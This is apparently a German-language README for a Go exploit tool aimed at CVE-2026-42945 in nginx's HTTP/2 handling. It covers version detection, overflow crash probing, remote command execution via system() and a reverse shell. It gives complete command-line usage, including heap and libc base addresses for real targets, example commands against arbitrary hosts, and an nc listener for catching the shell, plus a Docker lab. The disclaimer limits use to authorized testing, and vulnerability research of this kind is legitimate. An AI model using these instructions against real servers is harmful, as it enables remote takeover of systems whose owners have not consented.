
Go-basiertes Exploit-Tool für CVE-2026-42945 (nginx HTTP/2) mit Erkennung, Crash-Erprobung, Befehlsausführung und Reverse-Shell-Funktionen für autorisierte Sicherheitstests.
Deutsch | English
Ein Erkennungs- und Exploit-Hilfstool für die nginx HTTP/2-Implementierung (CVE-2026-42945), das in autorisierten Umgebungen verwendet wird, um das Vorhandensein der Schwachstelle zu überprüfen, die Wirksamkeit von Patches zu testen und das PoC-Verhalten in kontrollierten Testumgebungen zu reproduzieren.
Betroffene Versionen (grobe Einschätzung): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ sind behoben.
Dieses Repository dient ausschließlich der Sicherheitsforschung, Schwachstellenverifikation und defensiven Tests.
Wenn du mit den obigen Bedingungen nicht einverstanden bist, stelle die Nutzung sofort ein und lösche dieses Repository.
| Modus | Beschreibung |
|---|---|
-check-only | Konnektivität, Server-Header, grobe Versionsprüfung, PoC-Endpunkt-Erkennung |
-probe-crash | Senden eines Overflow-Exploits, Seitenkanalanalyse durch Worker-Absturz |
-cmd | Erstellen einer Exploit-Payload, Ausführung eines Befehls über system() |
-shell | Reverse Shell (erfordert -lhost, auf lokalem Rechner nc nötig) |
-docker | Batch-Tests in lokaler Docker-Experimentierumgebung (vuln / fixed) |
go.mod)make, golangci-lint (Entwicklung/Code-Check)GET /api/, POST /spray usw.) bereitstellen; Docker-Testimages enthalten diese bereits.| Punkt | Beschreibung |
|---|---|
| Protokoll | Nur Klartext-HTTP (net.Dial + rohe HTTP-Bytes) unterstützt, kein HTTPS/TLS. Für TLS-Ports (z.B. -port 443) muss ein TLS-Terminator vorgeschaltet werden oder ein HTTP-Port verwendet werden. |
| Docker-Tests | Images sind linux/amd64. Der erste docker compose build kompiliert nginx aus dem Quellcode, was lange dauert. Im Container wird ASLR mit setarch -R deaktiviert – ein großer Unterschied zur Produktion. |
| Apple Silicon | Lokaler Docker läuft emuliert über platform: linux/amd64, vergleichsweise langsam. |
| Reverse Shell | -shell benötigt systemeigenes nc; unter Windows ist manuelles Lauschen empfohlen. |
| Erfolgsbewertung | Seitenkanal (Worker-Absturz) bedeutet nicht RCE. Befehlseffekte müssen unabhängig verifiziert werden. |
# Schnellbuild (Ausgabe nach bin/, von .gitignore ignoriert)
make build-cmd
# Oder direkt mit go
go build -o ./bin/cve-2026-42945 ./cmd
# Eingebettete Version anzeigen
./bin/cve-2026-42945 -version
Veröffentlichte Binärdateien: Lade cve-2026-42945-<os>-<arch> von Releases herunter (automatisch gebaut von GitHub Actions nach Push eines v*-Tags).
-target string Ziel-IP/Hostname (Standard 127.0.0.1)
-port int Ziel-Port (0=80; Docker-Schwachstellenversion oft 19321)
-docker Lokale Docker-Experimentierumgebung testen (vuln:19321, fixed:19331)
-check-only Nur Erkennung, kein Exploit-Traffic senden
-probe-crash Overflow-Erkennung + Seitenkanal durch Worker-Absturz
-cmd string Befehl zur Ausführung über system()
-shell Reverse Shell (erfordert -lhost)
-lhost string Lokale IP für Reverse Shell
-lport int Lokaler Port für Reverse Shell (Standard 4444)
-docker-profile Heap-/libc-Basen aus deploy/docker verwenden
-heap-base string Heap-Basis (hexadezimal, z.B. 0x555555659000)
-libc-base string libc-Basis (hexadezimal)
-tries int Anzahl Versuche pro Heap-Kandidat (Standard 10)
-timeout int HTTP-Timeout in Sekunden (Standard 5)
-v Ausführliche Ausgabe
-version Version anzeigen und beenden
Der Modus
-dockerkann nicht gleichzeitig mit-cmd/-shellverwendet werden; für Einzelziele nutze-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Starte zuerst die Testcontainer:
make docker-up
# oder
docker compose -f deploy/docker-compose.yml up -d --build
Erster Build kompiliert nginx, kann einige Minuten dauern; warte, bis
docker compose psden Statushealthyanzeigt, bevor dumake test-labausführst.
| Dienst | Port | Beschreibung |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (anfällig) |
| fixed | 19331 | nginx 1.30.1 (behoben) |
Batch-Erkennung:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Oder mit Makefile-Kurzbefehlen:
make test-lab # check + probe
make cmd-exploit # Schreibt /tmp/pwned auf vuln und zeigt Verifikationsbefehl
Die höchste Erfolgsrate wird erreicht, wenn ASLR deaktiviert ist (setarch -R) und die voreingestellten Basen aus -docker-profile verwendet werden:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Prüfen, ob Datei geschrieben wurde
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1: Tool starten (versucht nc-Hintergrundlistener)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Falls nc nicht gefunden wird, manuell lauschen:
nc -lvnp 4444
Wenn sich ASLR, libc-Version oder Heap-Basen des echten Ziels von denen in Docker unterscheiden, müssen die Basen selbst ermittelt oder geschätzt werden:
# Ziel muss Klartext-HTTP-Port sein (nicht TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Seitenkanal: Worker anormal: Zeigt nur an, dass ein Worker möglicherweise durch Overflow abgestürzt ist. Allein kein Beweis für RCE.docker exec usw.).cmd/ Hauptprogrammeinstieg
internal/rift/ Erkennungs-, Payload- und Exploit-Logik
deploy/docker/ Experimentelle Images (nginx 1.30.0 / 1.30.1)
deploy/docker-compose.yml
.github/workflows/ Multi-Plattform-Release-Builds
make help # Alle make-Ziele anzeigen
make test # Unit-Tests
make lint # golangci-lint
make version # Aktuelle Build-Version anzeigen
Neue Version veröffentlichen:
git tag v1.0.0
git push origin v1.0.0
Verwende dieses Tool nur auf Systemen, die du testen darfst. Jeglicher Missbrauch liegt außerhalb der Verantwortung der Autoren.